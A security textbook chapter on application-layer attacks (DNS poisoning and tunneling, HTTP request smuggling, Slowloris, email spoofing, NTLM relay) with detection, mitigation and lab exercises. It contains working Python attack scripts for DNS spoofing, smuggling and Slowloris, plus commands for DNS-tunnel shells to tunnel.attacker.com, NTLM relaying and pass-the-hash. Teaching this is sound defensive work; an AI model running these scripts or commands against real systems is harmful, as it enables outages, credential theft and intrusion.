Application Layer Attacks
DNS poisoning, HTTP attacks, email security, SMB/RPC exploits, and application protocol defense strategies
Chapter 5: Application Layer Attacks
The Dyn DDoS Attack and DNS Fragility
On October 21, 2016, internet users across the United States woke up to find they couldnβt access Twitter, Spotify, Netflix, Reddit, The New York Times, and dozens of other major websites. The sites werenβt downβbut the DNS provider that resolved their domain names was under attack.
Dyn, a major DNS infrastructure provider, was being hammered by a massive DDoS attack from the Mirai botnetβa network of compromised IoT devices including cameras, DVRs, and routers. At its peak, the attack generated 1.2 Tbps of traffic, making it one of the largest DDoS attacks ever recorded at that time.
The Dyn attack highlighted a fundamental internet dependency: DNS. Without it, domain names canβt resolve to IP addresses, and the human-friendly internet becomes unusable. But DNS wasnβt designed with security in mindβit was designed for a small, trusted network. This chapter explores attacks against DNS and other application layer protocols, revealing how the applications we depend on daily can be weaponized.
Application Layer Attack Surface
The application layer (Layer 7) is where users interact with network services. Itβs also where most vulnerabilities existβthese protocols were designed for functionality, not security.
Application Layer Attack Surface
Application Layer Attack Surface:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β DNS ATTACKS β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β’ DNS Cache Poisoning β’ DNS Amplification DDoS β
β β’ DNS Hijacking β’ DNS Tunneling (Exfiltration) β
β β’ NXDOMAIN Attack β’ Subdomain Enumeration β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β HTTP ATTACKS β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β’ HTTP Request Smuggling β’ Host Header Injection β
β β’ HTTP Response Splitting β’ Verb Tampering β
β β’ HTTP Desync β’ Slowloris/Slow HTTP β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β EMAIL ATTACKS β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β’ SMTP Open Relay β’ Email Spoofing β
β β’ Phishing β’ Business Email Compromise (BEC) β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β AUTHENTICATION ATTACKS β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ€
β β’ NTLM Relay β’ Kerberoasting β
β β’ Pass-the-Hash β’ Golden/Silver Ticket β
β β’ Credential Stuffing β’ Password Spraying β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
MITRE ATT&CK Reference
Application layer attacks map to:
- T1071 - Application Layer Protocol
- T1568 - Dynamic Resolution
- T1557 - Adversary-in-the-Middle
- T1566 - Phishing
- T1110 - Brute Force
DNS Attacks
DNS Cache Poisoning
DNS cache poisoning injects false DNS records into a resolverβs cache, redirecting users to malicious servers.
DNS Cache Poisoning Attack
DNS Cache Poisoning Attack:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
NORMAL DNS RESOLUTION:
User ββββΊ Local Resolver ββββΊ Root ββββΊ TLD ββββΊ Authoritative
β β
ββββββββββββ Legitimate Response βββββββ
β
ββββΊ Caches result for TTL period
CACHE POISONING ATTACK:
User ββββΊ Local Resolver ββββΊ Query to Auth Server
β β
β β ββββ Attacker floods fake
β β responses faster than
ββββ Fake Response ββββ legitimate response
β
ββββΊ Caches POISONED record
Requirements for success:
1. Query ID must match (16-bit = 65,536 possibilities)
2. Source port must match (often predictable pre-2008)
3. Must arrive before legitimate response
4. Domain must match query
Kaminsky Attack (2008)
Dan Kaminskyβs attack dramatically improved cache poisoning effectiveness:
Kaminsky Attack Innovation
Kaminsky Attack Innovation:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
TRADITIONAL: Attack single query, must win race each time
KAMINSKY: Trigger unlimited queries, eventually win
ATTACK FLOW:
1. Attacker asks resolver for: random123.example.com
(Non-existent subdomain forces new query)
2. Flood fake responses with:
- Answer: random123.example.com = anything
- ADDITIONAL SECTION: ns.example.com = attacker_ip
3. If wrong, ask for random456.example.com, repeat
4. Eventually, guess correct query ID
Resolver caches: "ns.example.com = attacker_ip"
5. ALL future queries for *.example.com go to attacker!
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β Poisoned Cache Entry: β
β ns.example.com = 192.168.1.100 (ATTACKER) β
β β
β Now ALL example.com queries answered by attacker! β
β - mail.example.com = attacker's mail server β
β - www.example.com = attacker's web server β
β - bank.example.com = attacker's phishing site β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Practical Implementation
Using Scapy:
#!/usr/bin/env python3
"""
DNS Cache Poisoning Demonstration - AUTHORIZED USE ONLY
Shows the mechanics of DNS response spoofing
"""
from scapy.all import *
import random
import argparse
def dns_poison(target_resolver, victim_domain, spoofed_ip, iface):
"""
Attempt DNS cache poisoning (educational demonstration)
In practice, need to:
1. Trigger query to resolver
2. Race to respond before legitimate auth server
3. Match query ID (guess)
"""
# Generate random query ID (we'd need to guess this)
query_id = random.randint(0, 65535)
# Craft spoofed DNS response
dns_response = (
IP(dst=target_resolver, src="8.8.8.8") / # Pretend to be upstream
UDP(sport=53, dport=random.randint(1024, 65535)) /
DNS(
id=query_id,
qr=1, # Response
aa=1, # Authoritative
rd=1, # Recursion desired
ra=1, # Recursion available
qdcount=1,
ancount=1,
qd=DNSQR(qname=victim_domain),
an=DNSRR(
rrname=victim_domain,
type='A',
ttl=86400,
rdata=spoofed_ip
)
)
)
print(f"[*] Sending poisoned DNS response")
print(f"[*] Query ID guess: {query_id}")
print(f"[*] Poisoning {victim_domain} -> {spoofed_ip}")
send(dns_response, iface=iface, verbose=False)
def dns_poison_flood(target_resolver, victim_domain, spoofed_ip, iface, count=1000):
"""
Flood with many guesses (Kaminsky-style)
"""
print(f"[*] Flooding {count} DNS responses")
print(f"[*] Target resolver: {target_resolver}")
print(f"[*] Poisoning: {victim_domain} -> {spoofed_ip}")
for i in range(count):
dns_poison(target_resolver, victim_domain, spoofed_ip, iface)
if (i + 1) % 100 == 0:
print(f"[*] Sent {i + 1} packets...")
print("[+] Flood complete")
if __name__ == "__main__":
print("[!] DNS Cache Poisoning Demo - Educational Use Only!")
print("[!] Modern resolvers have mitigations (source port randomization, DNSSEC)")
Detection
Resolver-Side:
# Check for multiple responses to single query
tcpdump -i eth0 'udp port 53' -nn | grep -E "A \d+\.\d+\.\d+"
# Look for:
# - Multiple responses with different IPs
# - Responses from unexpected sources
# - High volume of DNS traffic
DNSSEC Validation Failures:
# If DNSSEC enabled, poisoned responses will fail validation
dig +dnssec example.com
# Look for: "ad" flag (authenticated data)
# Absence indicates potential tampering
Mitigation
Source Port Randomization (Post-Kaminsky):
Before 2008: DNS used source port 53 (predictable)
After 2008: Random source port (65,536 Γ 65,536 = 4 billion guesses)
Check resolver configuration:
# BIND - random source ports by default in modern versions
# Verify with: dig @resolver example.com +short and check source port
DNSSEC:
DNSSEC Cryptographic DNS Validation
DNSSEC - Cryptographic DNS Validation:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
DNS Response:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β example.com A 93.184.216.34 β
β RRSIG: [cryptographic signature of above record] β
β β
β Resolver validates signature against published key β
β Invalid signature = Response rejected β
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Enable validation in BIND:
options {
dnssec-validation auto;
};
DNS over HTTPS (DoH) / DNS over TLS (DoT):
# Encrypts DNS traffic, prevents MITM poisoning
# DoH: DNS over HTTPS (port 443)
# DoT: DNS over TLS (port 853)
# Test with cloudflared
cloudflared proxy-dns --address 127.0.0.1 --port 5353
DNS Tunneling
Overview
DNS tunneling encodes data in DNS queries/responses, enabling covert communication and data exfiltration through firewalls that allow DNS.
DNS Tunneling Concept
DNS Tunneling Concept:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
PROBLEM: Firewall blocks all outbound except DNS
SOLUTION: Encode data as DNS queries
EXFILTRATION EXAMPLE:
Stolen data: "password123"
Encoded as: cGFzc3dvcmQxMjM=.tunnel.attacker.com
Internal βββββΊ DNS Query βββββΊ Firewall βββββΊ DNS Server
Machine for subdomain Allows DNS (Attacker)
(encoded data)
Response can contain commands (encoded in TXT records)
TUNNEL DATA FLOW:
βββββββββββββββββ DNS Query: data.tunnel.attacker.com ββββββββββββββββ
β Compromised ββββββββββββββββββββββββββββββββββββββββββββΊβ Attacker β
β Host β β DNS Server β
β βββββββββββββββββββββββββββββββββββββββββββββ β
βββββββββββββββββ DNS Response: TXT "command_encoded" ββββββββββββββββ
Tunneling Tools
Using iodine:
# Server setup (attacker)
# Requires domain delegated to your server
iodined -f -c -P password 10.0.0.1 tunnel.attacker.com
# Client setup (compromised host)
iodine -f -P password tunnel.attacker.com
# Now have IP tunnel over DNS
# 10.0.0.x network accessible
Using dnscat2:
# Server (attacker)
ruby dnscat2.rb tunnel.attacker.com
# Client (compromised host)
./dnscat2 tunnel.attacker.com
# Interactive shell over DNS
Detection
Indicators of DNS Tunneling:
| Indicator | Normal | Tunneling |
|---|---|---|
| Query length | Short (< 50 chars) | Long encoded strings |
| Query frequency | Sporadic | High, regular |
| Record types | A, AAAA, MX | TXT, NULL, CNAME |
| Subdomain entropy | Low (readable) | High (random-looking) |
| Response size | Small | Large TXT records |
# Detect with DNS logs
# Look for high-entropy subdomains
# Example suspicious query: aGVsbG93b3JsZA.tunnel.evil.com
# Zeek/Bro detection
# dns.log analysis for unusual patterns
Mitigation
# Block DNS to external resolvers
iptables -A OUTPUT -p udp --dport 53 ! -d internal_dns -j DROP
iptables -A OUTPUT -p tcp --dport 53 ! -d internal_dns -j DROP
# Force internal DNS with inspection
# DNS proxy that filters suspicious queries
# Block NULL, TXT records to unknown domains
# Rate limit DNS queries per host
HTTP Attacks
HTTP Request Smuggling
Request smuggling exploits differences in how front-end (proxy/WAF) and back-end servers parse HTTP requests.
HTTP Request Smuggling
HTTP Request Smuggling:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
THE AMBIGUITY:
HTTP/1.1 has TWO ways to specify body length:
1. Content-Length: 13
2. Transfer-Encoding: chunked
What if BOTH are present and disagree?
CL.TE ATTACK (Front-end uses Content-Length, Back-end uses Transfer-Encoding):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β POST / HTTP/1.1 β
β Host: vulnerable.com β
β Content-Length: 13 β
β Transfer-Encoding: chunked β
β β
β 0 <- Front-end thinks body ends here β
β β
β GET /admin HTTP/1.1 <- Back-end sees this as NEW request! β
β Host: vulnerable.com β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Front-end: Sees one request (CL=13, body="0\r\n\r\nGET /adm")
Back-end: Sees TWO requests (chunked body=empty, then GET /admin)
RESULT: Smuggled request bypasses front-end security!
TE.CL Attack
TE.CL (Frontend uses TransferEncoding, Backend uses ContentLength)
TE.CL (Front-end uses Transfer-Encoding, Back-end uses Content-Length):
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Front-end: Processes chunked (complete request)
Back-end: Content-Length: 3 β body is "8\r\n"
Leftover "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix
Next legitimate user's request gets "SMUGGLED" prepended!
Request Smuggling Exploitation
#!/usr/bin/env python3
"""
HTTP Request Smuggling Test - AUTHORIZED USE ONLY
Tests for CL.TE vulnerability
"""
import socket
def test_clte_smuggling(host, port=80):
"""
Test for CL.TE request smuggling
"""
# CL.TE smuggling payload
payload = (
"POST / HTTP/1.1\r\n"
f"Host: {host}\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Content-Length: 6\r\n"
"Transfer-Encoding: chunked\r\n"
"\r\n"
"0\r\n"
"\r\n"
"G" # This 'G' will poison the next request
)
# Send payload
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(payload.encode())
response = sock.recv(4096)
sock.close()
print(f"[*] Response: {response[:200]}")
print("[*] If next request returns 'GPOST' method error, vulnerable!")
# Send normal request to check if poisoned
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send(f"POST / HTTP/1.1\r\nHost: {host}\r\n\r\n".encode())
response = sock.recv(4096)
sock.close()
print(f"[*] Follow-up response: {response[:200]}")
if __name__ == "__main__":
print("[!] HTTP Request Smuggling Test - Educational Use Only!")
Mitigation
# HAProxy - Normalize requests
option http-use-htx
option httplog
# Nginx - Reject ambiguous requests
proxy_http_version 1.1;
# Apache - mod_security rules
SecRule REQUEST_HEADERS:Transfer-Encoding "chunked" \
"chain,id:1,deny,msg:'CL-TE Smuggling Attempt'"
SecRule REQUEST_HEADERS:Content-Length "@gt 0"
Slowloris and Slow HTTP Attacks
Attack Overview
Slowloris keeps many connections open by sending partial HTTP requests slowly, exhausting server connection pools.
Slowloris Attack
Slowloris Attack:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
NORMAL REQUEST:
Client sends complete request quickly:
GET / HTTP/1.1\r\n
Host: target.com\r\n
\r\n
SLOWLORIS:
Client sends headers VERY slowly, never completing:
Connection 1: "GET / HTTP/1.1\r\nHost: t" ... wait 10s ... "arget.com\r\n" ...
Connection 2: "GET / HTTP/1.1\r\n" ... wait 10s ... "Host: target" ...
Connection 3: "GET / HTTP/1.1\r\nHo" ... wait 10s ... "st:" ...
... (hundreds of connections)
Server keeps all connections open waiting for complete request
Eventually, connection pool exhausted
Legitimate users can't connect
Resources needed: Minimal (few KB per connection)
Impact: Complete denial of service
Practical Implementation
Using slowloris.py:
# Install
pip install slowloris
# Run attack
slowloris target.com -s 500 -p 80
# -s 500 = 500 sockets
Using Python:
#!/usr/bin/env python3
"""
Slowloris Demonstration - AUTHORIZED USE ONLY
"""
import socket
import time
import random
import argparse
def slowloris(target, port=80, sockets_count=200):
"""
Slowloris DoS attack demonstration
"""
sockets_list = []
# Create sockets
print(f"[*] Creating {sockets_count} sockets...")
for _ in range(sockets_count):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((target, port))
sockets_list.append(sock)
except socket.error:
pass
print(f"[*] Created {len(sockets_list)} sockets")
# Send partial headers
for sock in sockets_list:
try:
sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode())
sock.send(f"Host: {target}\r\n".encode())
sock.send("User-Agent: Mozilla/5.0\r\n".encode())
sock.send("Accept-language: en-US\r\n".encode())
# Note: Don't send final \r\n - keep connection "pending"
except socket.error:
sockets_list.remove(sock)
# Keep connections alive with periodic partial data
while True:
print(f"[*] Keeping {len(sockets_list)} connections alive...")
for sock in list(sockets_list):
try:
# Send incomplete header to keep connection alive
sock.send(f"X-a: {random.randint(1, 5000)}\r\n".encode())
except socket.error:
sockets_list.remove(sock)
# Recreate lost sockets
diff = sockets_count - len(sockets_list)
if diff > 0:
print(f"[*] Recreating {diff} sockets...")
for _ in range(diff):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(4)
sock.connect((target, port))
sock.send(f"GET /?{random.randint(0, 9999)} HTTP/1.1\r\n".encode())
sockets_list.append(sock)
except socket.error:
pass
time.sleep(10)
if __name__ == "__main__":
print("[!] Slowloris Demo - Educational/Authorized Use Only!")
Mitigation
# Nginx - Timeout and connection limits
client_header_timeout 10s;
client_body_timeout 10s;
send_timeout 10s;
limit_conn_zone $binary_remote_addr zone=addr:10m;
limit_conn addr 10; # Max 10 connections per IP
# Apache - mod_reqtimeout
RequestReadTimeout header=20-40,MinRate=500 body=20,MinRate=500
# HAProxy - Timeout settings
timeout client 10s
timeout server 10s
timeout http-request 10s
Email Security Attacks
Email Spoofing
Email lacks built-in authentication, allowing attackers to forge sender addresses.
Email Spoofing
Email Spoofing:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SMTP doesn't verify sender identity:
MAIL FROM: <ceo@company.com> <- Can be anything!
RCPT TO: <employee@company.com>
DATA
From: CEO <ceo@company.com>
To: Employee <employee@company.com>
Subject: Urgent Wire Transfer
Please transfer $50,000 to account...
.
The "From:" address is completely attacker-controlled
No authentication in basic SMTP
SPF, DKIM, DMARC
Modern email authentication stack:
Email Authentication Stack
Email Authentication Stack:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
SPF (Sender Policy Framework):
βββββββββββββββββββββββββββββ
DNS TXT record lists authorized sending IPs
v=spf1 ip4:192.0.2.0/24 include:_spf.google.com -all
Receiving server checks: "Is sender IP authorized for this domain?"
DKIM (DomainKeys Identified Mail):
ββββββββββββββββββββββββββββββββββ
Cryptographic signature in email header
Receiving server validates against public key in DNS
DKIM-Signature: v=1; d=example.com; s=selector;
bh=MTIzNDU2Nzg5; h=from:to:subject; b=dGVzdHNpZw==
DMARC (Domain-based Message Authentication):
ββββββββββββββββββββββββββββββββββββββββββββ
Policy layer on top of SPF and DKIM
Tells receivers what to do with failures
v=DMARC1; p=reject; rua=mailto:reports@example.com
p=reject: Reject emails that fail SPF AND DKIM
Bypassing Email Security
DMARC Bypass Techniques
DMARC Bypass Techniques:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
1. COUSIN DOMAINS:
Real: company.com
Fake: c0mpany.com, company-mail.com
DMARC only checks exact domain match
2. SUBDOMAIN SPOOFING:
If DMARC policy is "p=none" for subdomains
Spoof: mail.company.com
3. DISPLAY NAME SPOOFING:
From: "CEO Name" <attacker@evil.com>
Users see "CEO Name", ignore email address
4. REPLY-TO MANIPULATION:
From: legitimate@company.com (SPF passes)
Reply-To: attacker@evil.com
User's reply goes to attacker
SMB/Windows Protocol Attacks
NTLM Relay Attack
NTLM relay captures authentication attempts and relays them to access other services.
NTLM Relay Attack
NTLM Relay Attack:
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
1. Attacker sets up fake SMB server
2. Victim connects (via phishing link, forced auth, etc.)
3. Attacker relays victim's auth to target server
Victim βββββΊ "Connect to \\attacker\share" βββββΊ Attacker Server
β
β Relays auth
βΌ
Target Server
(Victim's credentials used!)
Result: Attacker accesses Target Server as Victim
Using Responder + ntlmrelayx:
# Start Responder to capture hashes
sudo responder -I eth0 -wrf
# Or relay to another target
sudo ntlmrelayx.py -t smb://192.168.1.100 -smb2support
# Trigger victim connection (many methods):
# - Phishing link: file://attacker/share
# - LLMNR/NBT-NS poisoning (Responder)
# - Outlook rule injection
Pass-the-Hash
Use captured NTLM hash without cracking:
# Using CrackMapExec
crackmapexec smb 192.168.1.100 -u administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
# Using pth-winexe
pth-winexe -U domain/administrator%aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 //192.168.1.100 cmd.exe
Mitigation
SMB Signing (prevents relay)
SMB Signing (prevents relay):
βββββββββββββββββββββββββββββ
# Group Policy
Computer Configuration β Policies β Windows Settings β
Security Settings β Local Policies β Security Options
Microsoft network server: Digitally sign communications (always) = Enabled
# Registry
RequireSecuritySignature = 1
NTLM Restrictions:
ββββββββββββββββββ
# Disable NTLMv1, require NTLMv2
LMCompatibilityLevel = 5
# Consider disabling NTLM entirely (use Kerberos)
Network security: Restrict NTLM = Deny All
Lab Exercise: Application Layer Attack Analysis
Objective
Observe DNS security and HTTP attack patterns.
Exercise 1: DNS Query Analysis
# Capture DNS traffic
sudo tcpdump -i eth0 'udp port 53' -w dns.pcap
# Analyze with tshark
tshark -r dns.pcap -Y 'dns' -T fields -e dns.qry.name | sort | uniq -c | sort -rn
# Look for:
# - High-entropy subdomains (tunneling)
# - Unusually long queries
# - High query frequency
Exercise 2: HTTP Header Testing
# Test for request smuggling indicators
curl -v -X POST https://target.com \
-H "Content-Length: 0" \
-H "Transfer-Encoding: chunked" \
--data "0"
# Check response for errors indicating parsing differences
Exercise 3: Email Header Analysis
# Examine email headers for authentication results
# Look for:
# - SPF: pass/fail
# - DKIM: pass/fail
# - DMARC: pass/fail
# Example header:
# Authentication-Results: mx.google.com;
# spf=pass smtp.mailfrom=example.com;
# dkim=pass header.d=example.com;
# dmarc=pass
Key Takeaways
-
DNS cache poisoning exploits lack of authenticationβDNSSEC and source port randomization provide defense
-
DNS tunneling enables covert exfiltrationβmonitor for high-entropy queries and unusual record types
-
HTTP request smuggling exploits parsing differencesβnormalize requests at the proxy layer
-
Email spoofing is trivial without SPF/DKIM/DMARCβimplement all three with reject policies
-
NTLM relay allows credential reuseβrequire SMB signing and restrict NTLM usage
Self-Assessment
-
Comprehension: Why did source port randomization make DNS cache poisoning significantly harder?
-
Application: Youβve identified DNS tunneling in your environment. What indicators led you to this conclusion?
-
What if: Your organizationβs SPF record is too permissive (includes a large cloud provider). How could an attacker exploit this?
Review Questions
- Explain how the Kaminsky DNS attack differs from traditional cache poisoning.
- What are the indicators of DNS tunneling activity?
- How does HTTP request smuggling exploit proxy/backend differences?
- Whatβs the purpose of each component in SPF, DKIM, and DMARC?
- How does NTLM relay work, and what prevents it?
- Why is Slowloris effective against thread-based web servers?
MITRE ATT&CK Mapping
| Attack | Technique ID | Tactic |
|---|---|---|
| DNS Cache Poisoning | T1557.004 | Credential Access |
| DNS Tunneling | T1071.004 | Command and Control |
| HTTP Smuggling | T1190 | Initial Access |
| Email Spoofing | T1566.001 | Initial Access |
| NTLM Relay | T1557.001 | Credential Access |